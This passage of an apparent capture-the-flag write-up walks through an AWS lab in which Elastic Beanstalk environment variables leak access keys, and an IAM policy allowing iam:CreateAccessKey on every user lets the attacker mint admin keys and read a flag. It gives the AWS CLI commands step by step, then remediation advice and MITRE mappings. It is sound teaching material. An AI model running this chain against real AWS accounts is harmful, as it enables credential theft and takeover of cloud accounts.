  &lt;/span&gt;&lt;span class="nl"&gt;"Arn"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"arn:aws:iam::7912********:user/cgid09kivyz0ga_low_priv_user"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  🔎 Phase 2: Elastic Beanstalk Enumeration
&lt;/h2&gt;

&lt;h4&gt;
  
  
  List Applications
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws elasticbeanstalk describe-applications &lt;span class="nt"&gt;--profile&lt;/span&gt; ebs-1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Found: &lt;code&gt;cgid09kivyz0ga-app&lt;/code&gt; - &lt;em&gt;"Elastic Beanstalk application for insecure secrets scenario"&lt;/em&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  List Environments
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws elasticbeanstalk describe-environments &lt;span class="nt"&gt;--profile&lt;/span&gt; ebs-1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Property&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Environment&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cgid09kivyz0ga-env&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Application&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cgid09kivyz0ga-app&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Platform&lt;/td&gt;
&lt;td&gt;Python 3.11 on Amazon Linux 2023&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Status&lt;/td&gt;
&lt;td&gt;Ready&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h4&gt;
  
  
  Extract Configuration Settings
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws elasticbeanstalk describe-configuration-settings &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--application-name&lt;/span&gt; cgid09kivyz0ga-app &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--environment-name&lt;/span&gt; cgid09kivyz0ga-env &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s2"&gt;"ConfigurationSettings[0].OptionSettings[?Namespace=='aws:elasticbeanstalk:application:environment']"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--output&lt;/span&gt; table &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--profile&lt;/span&gt; ebs-1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Namespace&lt;/th&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;aws:elasticbeanstalk:application:environment&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PYTHONPATH&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/var/app/venv/staging-LQM1lest/bin&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;aws:elasticbeanstalk:application:environment&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SECONDARY_ACCESS_KEY&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AKIA****************&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;aws:elasticbeanstalk:application:environment&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SECONDARY_SECRET_KEY&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;19jM1vKF4UQqw8vJo6FwKKxd**************&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Credentials extracted from environment variables.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  👤 Phase 3: Pivot to Secondary User
&lt;/h2&gt;

&lt;h4&gt;
  
  
  Configure Secondary Profile
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws configure &lt;span class="nt"&gt;--profile&lt;/span&gt; ebs-2
&lt;span class="c"&gt;# Access Key: AKIA****************&lt;/span&gt;
&lt;span class="c"&gt;# Secret Key: 19jM1vKF4UQqw8vJo6FwKKxd**************&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Validate Credentials
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws sts get-caller-identity &lt;span class="nt"&gt;--profile&lt;/span&gt; ebs-2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Confirmed: &lt;code&gt;cgid09kivyz0ga_secondary_user&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  🗄️ Phase 4: IAM Enumeration
&lt;/h2&gt;

&lt;h4&gt;
  
  
  Enumeration Workflow
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;list-users → list-attached-user-policies → get-policy → get-policy-version
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  List All Users
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws iam list-users &lt;span class="nt"&gt;--profile&lt;/span&gt; ebs-2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Username&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cgid09kivyz0ga_admin_user&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Target&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cgid09kivyz0ga_low_priv_user&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Initial access&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cgid09kivyz0ga_secondary_user&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Current user&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h4&gt;
  
  
  Enumerate Secondary User's Policies
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws iam list-attached-user-policies &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--user-name&lt;/span&gt; cgid09kivyz0ga_secondary_user &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--profile&lt;/span&gt; ebs-2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"AttachedPolicies"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"PolicyName"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cgid09kivyz0ga_secondary_policy"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"PolicyArn"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"arn:aws:iam::7912********:policy/cgid09kivyz0ga_secondary_policy"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Get Policy Details
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws iam get-policy &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--policy-arn&lt;/span&gt; arn:aws:iam::7912&lt;span class="k"&gt;********&lt;/span&gt;:policy/cgid09kivyz0ga_secondary_policy &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--profile&lt;/span&gt; ebs-2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Noted &lt;code&gt;DefaultVersionId: v1&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Extract Policy Document
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws iam get-policy-version &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--policy-arn&lt;/span&gt; arn:aws:iam::7912&lt;span class="k"&gt;********&lt;/span&gt;:policy/cgid09kivyz0ga_secondary_policy &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--version-id&lt;/span&gt; v1 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--profile&lt;/span&gt; ebs-2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Statement"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"Action"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"iam:CreateAccessKey"&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"Effect"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Allow"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"Resource"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"*"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"Action"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"iam:ListRoles"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"iam:GetRole"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"iam:ListPolicies"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"iam:GetPolicy"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"iam:ListPolicyVersions"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"iam:GetPolicyVersion"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"iam:ListUsers"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"iam:GetUser"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"iam:ListGroups"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"iam:GetGroup"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"iam:ListAttachedUserPolicies"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"iam:ListAttachedRolePolicies"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"iam:GetRolePolicy"&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"Effect"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Allow"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"Resource"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"*"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Critical Finding
&lt;/h4&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Permission&lt;/th&gt;
&lt;th&gt;Resource&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;iam:CreateAccessKey&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;*&lt;/code&gt; (wildcard)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Can create access keys for ANY user, including admin&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  💥 Phase 5: Privilege Escalation
&lt;/h2&gt;

&lt;h4&gt;
  
  
  Create Access Key for Admin User
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws iam create-access-key &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--user-name&lt;/span&gt; cgid09kivyz0ga_admin_user &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--profile&lt;/span&gt; ebs-2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"AccessKey"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"UserName"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cgid09kivyz0ga_admin_user"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"AccessKeyId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"AKIA****************"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"Status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Active"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"SecretAccessKey"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"C8aC3UMs1rMewHHLwAHxxk4T**************"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Configure Admin Profile
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws configure &lt;span class="nt"&gt;--profile&lt;/span&gt; admin
aws sts get-caller-identity &lt;span class="nt"&gt;--profile&lt;/span&gt; admin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"UserId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"AIDA****************"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Account"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"7912********"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Arn"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"arn:aws:iam::7912********:user/cgid09kivyz0ga_admin_user"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Privilege escalation successful.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  🚩 Phase 6: Capture the Flag
&lt;/h2&gt;

&lt;h4&gt;
  
  
  List Secrets
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws secretsmanager list-secrets &lt;span class="nt"&gt;--profile&lt;/span&gt; admin &lt;span class="nt"&gt;--region&lt;/span&gt; us-east-1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Found: &lt;code&gt;cgid09kivyz0ga_final_flag&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Retrieve Flag
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws secretsmanager get-secret-value &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--secret-id&lt;/span&gt; cgid09kivyz0ga_final_flag &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--profile&lt;/span&gt; admin &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--region&lt;/span&gt; us-east-1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;FLAG{D0nt_st0r3_s3cr3ts_in_b3@nsta1k!}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  📐 Attack Chain Diagram
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────────────┐
│   Low-Priv User     │
│   (ebs-1 profile)   │
└──────────┬──────────┘
           │ elasticbeanstalk:DescribeConfigurationSettings
           ▼
┌─────────────────────┐
│  Beanstalk Secrets  │
│  - Access Key       │
│  - Secret Key       │
└──────────┬──────────┘
           │
           ▼
┌─────────────────────┐
│  Secondary User     │
│   (ebs-2 profile)   │
└──────────┬──────────┘
           │ iam:CreateAccessKey (Resource: *)
           ▼
┌─────────────────────┐
│    Admin User       │
│  (admin profile)    │
└──────────┬──────────┘
           │ secretsmanager:GetSecretValue
           ▼
┌─────────────────────┐
│       FLAG          │
└─────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  🚨 Vulnerabilities Exploited
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;CWE&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Hardcoded credentials in Beanstalk environment variables&lt;/td&gt;
&lt;td&gt;CWE-798&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Overly permissive IAM policy (&lt;code&gt;iam:CreateAccessKey&lt;/code&gt; on &lt;code&gt;*&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;CWE-732&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Lack of least privilege principle&lt;/td&gt;
&lt;td&gt;CWE-250&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  💡 Remediation
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Do not store long-lived AWS credentials in environment variables&lt;/strong&gt; - Use AWS Secrets Manager or SSM Parameter Store&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Restrict &lt;code&gt;iam:CreateAccessKey&lt;/code&gt;&lt;/strong&gt; - Scope to &lt;code&gt;self&lt;/code&gt; only:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"Effect"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Allow"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"Action"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"iam:CreateAccessKey"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"Resource"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"arn:aws:iam::*:user/${aws:username}"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Enable CloudTrail alerts&lt;/strong&gt; for &lt;code&gt;CreateAccessKey&lt;/code&gt; API calls&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Regular IAM Access Analyzer scans&lt;/strong&gt; to detect overly permissive policies&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  🎯 MITRE ATT&amp;amp;CK Mapping
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tactic&lt;/th&gt;
&lt;th&gt;Technique&lt;/th&gt;
&lt;th&gt;ID&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Credential Access&lt;/td&gt;
&lt;td&gt;Unsecured Credentials: Credentials in Files / Environment Variables&lt;/td&gt;
&lt;td&gt;T1552.001&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Discovery&lt;/td&gt;
&lt;td&gt;Cloud Service Discovery&lt;/td&gt;
&lt;td&gt;T1526&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Privilege Escalation&lt;/td&gt;
&lt;td&gt;Valid Accounts: Cloud Accounts&lt;/td&gt;
&lt;td&gt;T1078.004&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Persistence&lt;/td&gt;
&lt;td&gt;Account Manipulation: Additional Cloud Credentials&lt;/td&gt;
&lt;td&gt;T1098.001&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  🛠️ Commands Reference
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Beanstalk Enumeration&lt;/span&gt;
aws elasticbeanstalk describe-applications
aws elasticbeanstalk describe-environments
aws elasticbeanstalk describe-configuration-settings &lt;span class="nt"&gt;--application-name&lt;/span&gt; X &lt;span class="nt"&gt;--environment-name&lt;/span&gt; Y

&lt;span class="c"&gt;# IAM Enumeration Workflow&lt;/span&gt;
aws iam list-users
aws iam list-attached-user-policies &lt;span class="nt"&gt;--user-name&lt;/span&gt; X
aws iam list-user-policies &lt;span class="nt"&gt;--user-name&lt;/span&gt; X
aws iam get-policy &lt;span class="nt"&gt;--policy-arn&lt;/span&gt; X
aws iam get-policy-version &lt;span class="nt"&gt;--policy-arn&lt;/span&gt; X &lt;span class="nt"&gt;--version-id&lt;/span&gt; vN

&lt;span class="c"&gt;# Privilege Escalation&lt;/span&gt;
